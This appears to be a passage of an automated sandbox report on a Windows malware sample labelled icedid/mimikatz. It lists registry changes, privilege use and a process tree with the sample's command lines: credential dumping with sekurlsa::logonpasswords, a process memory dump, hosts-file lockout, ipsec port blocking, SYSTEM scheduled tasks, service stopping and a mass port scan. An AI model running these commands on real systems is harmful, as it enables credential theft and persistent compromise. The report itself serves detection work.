\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1a-a0-2d-15-9d-16\WpadDecisionTime = c0f987ff798bda01 bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eszugbung.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" eszugbung.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1a-a0-2d-15-9d-16\WpadDecisionTime = 803e1bc2798bda01 bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates bybsswu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{871EA3C2-6D51-44E6-BD18-AE4770A6B753} bybsswu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{871EA3C2-6D51-44E6-BD18-AE4770A6B753}\WpadDecisionTime = 803e1bc2798bda01 bybsswu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{871EA3C2-6D51-44E6-BD18-AE4770A6B753}\WpadNetworkName = "Network 3" bybsswu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" eszugbung.exe -
Modifies registry class 14 IoCs
Processes:
bybsswu.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bybsswu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bybsswu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bybsswu.exe -
Processes:
bybsswu.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 bybsswu.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 bybsswu.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
bybsswu.exepid process 812 bybsswu.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
bybsswu.exepid process 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 472 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exepid process 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exebybsswu.exebybsswu.exevfshost.exebsuyvg.exesvchost.exeeszugbung.exeeszugbung.exeeszugbung.exeeszugbung.exeeszugbung.exeeszugbung.exedescription pid process Token: SeDebugPrivilege 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2636 bybsswu.exe Token: SeDebugPrivilege 2596 bybsswu.exe Token: SeDebugPrivilege 2360 vfshost.exe Token: SeLockMemoryPrivilege 2952 bsuyvg.exe Token: SeAuditPrivilege 2600 svchost.exe Token: SeDebugPrivilege 1716 eszugbung.exe Token: SeShutdownPrivilege 1716 eszugbung.exe Token: SeLockMemoryPrivilege 2952 bsuyvg.exe Token: SeDebugPrivilege 2344 eszugbung.exe Token: SeShutdownPrivilege 2344 eszugbung.exe Token: SeDebugPrivilege 2032 eszugbung.exe Token: SeShutdownPrivilege 2032 eszugbung.exe Token: SeDebugPrivilege 2792 eszugbung.exe Token: SeShutdownPrivilege 2792 eszugbung.exe Token: SeDebugPrivilege 2988 eszugbung.exe Token: SeShutdownPrivilege 2988 eszugbung.exe Token: SeDebugPrivilege 1680 eszugbung.exe Token: SeShutdownPrivilege 1680 eszugbung.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exebybsswu.exebybsswu.exexohudmc.exehuzbeq.exebybsswu.exepid process 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe 2636 bybsswu.exe 2636 bybsswu.exe 2596 bybsswu.exe 2596 bybsswu.exe 1576 xohudmc.exe 2444 huzbeq.exe 812 bybsswu.exe 812 bybsswu.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.execmd.exebybsswu.execmd.execmd.exewpcap.exedescription pid process target process PID 2112 wrote to memory of 872 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe cmd.exe PID 2112 wrote to memory of 872 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe cmd.exe PID 2112 wrote to memory of 872 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe cmd.exe PID 2112 wrote to memory of 872 2112 2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe cmd.exe PID 872 wrote to memory of 3016 872 cmd.exe PING.EXE PID 872 wrote to memory of 3016 872 cmd.exe PING.EXE PID 872 wrote to memory of 3016 872 cmd.exe PING.EXE PID 872 wrote to memory of 3016 872 cmd.exe PING.EXE PID 872 wrote to memory of 2636 872 cmd.exe bybsswu.exe PID 872 wrote to memory of 2636 872 cmd.exe bybsswu.exe PID 872 wrote to memory of 2636 872 cmd.exe bybsswu.exe PID 872 wrote to memory of 2636 872 cmd.exe bybsswu.exe PID 2596 wrote to memory of 2620 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2620 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2620 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2620 2596 bybsswu.exe cmd.exe PID 2620 wrote to memory of 2928 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2928 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2928 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2928 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2460 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2460 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2460 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2460 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2660 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2660 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2660 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2660 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2576 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2576 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2576 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2576 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2492 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2492 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2492 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2492 2620 cmd.exe cmd.exe PID 2620 wrote to memory of 2624 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2624 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2624 2620 cmd.exe cacls.exe PID 2620 wrote to memory of 2624 2620 cmd.exe cacls.exe PID 2596 wrote to memory of 2512 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2512 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2512 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2512 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2152 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2152 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2152 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2152 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 524 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 524 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 524 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 524 2596 bybsswu.exe netsh.exe PID 2596 wrote to memory of 2072 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2072 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2072 2596 bybsswu.exe cmd.exe PID 2596 wrote to memory of 2072 2596 bybsswu.exe cmd.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2072 wrote to memory of 2424 2072 cmd.exe wpcap.exe PID 2424 wrote to memory of 2200 2424 wpcap.exe net.exe
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1016
-
C:\Windows\TEMP\ajszieiei\bsuyvg.exe"C:\Windows\TEMP\ajszieiei\bsuyvg.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2952
-
C:\Users\Admin\AppData\Local\Temp\2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-10_b12657d84fcb58b883a63e6f4b8692fd_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\nubbucjk\bybsswu.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3016 -
C:\Windows\nubbucjk\bybsswu.exeC:\Windows\nubbucjk\bybsswu.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2636
-
C:\Windows\nubbucjk\bybsswu.exeC:\Windows\nubbucjk\bybsswu.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2928
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2460
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2660
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2576
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2492
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2624
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2512 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2152 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:524 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfebbbrby\tgykbkbiz\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\mfebbbrby\tgykbkbiz\wpcap.exeC:\Windows\mfebbbrby\tgykbkbiz\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:2200
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:1680
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2172
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:736
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:876
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:1192
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1524
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1360
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2312
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1296
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2412
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2756
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfebbbrby\tgykbkbiz\hzuqkpuek.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\mfebbbrby\tgykbkbiz\Scant.txt2⤵
- Loads dropped DLL
PID:3032 -
C:\Windows\mfebbbrby\tgykbkbiz\hzuqkpuek.exeC:\Windows\mfebbbrby\tgykbkbiz\hzuqkpuek.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\mfebbbrby\tgykbkbiz\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2532 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfebbbrby\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\mfebbbrby\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:556 -
C:\Windows\mfebbbrby\Corporate\vfshost.exeC:\Windows\mfebbbrby\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2360 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lubbrlheb" /ru system /tr "cmd /c C:\Windows\ime\bybsswu.exe"2⤵PID:1868
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2128
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "lubbrlheb" /ru system /tr "cmd /c C:\Windows\ime\bybsswu.exe"3⤵
- Creates scheduled task(s)
PID:2544 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uczltbugk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nubbucjk\bybsswu.exe /p everyone:F"2⤵PID:2148
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1612
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uczltbugk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nubbucjk\bybsswu.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1608 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "evgrntiyh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ajszieiei\bsuyvg.exe /p everyone:F"2⤵PID:996
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2108
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "evgrntiyh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ajszieiei\bsuyvg.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:972 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:860 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:2132
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2860 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2592 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 1016 C:\Windows\TEMP\mfebbbrby\1016.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1716 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2768 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1920 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1648 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:1032 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:1476
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:932
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1156 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2160
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1360
-
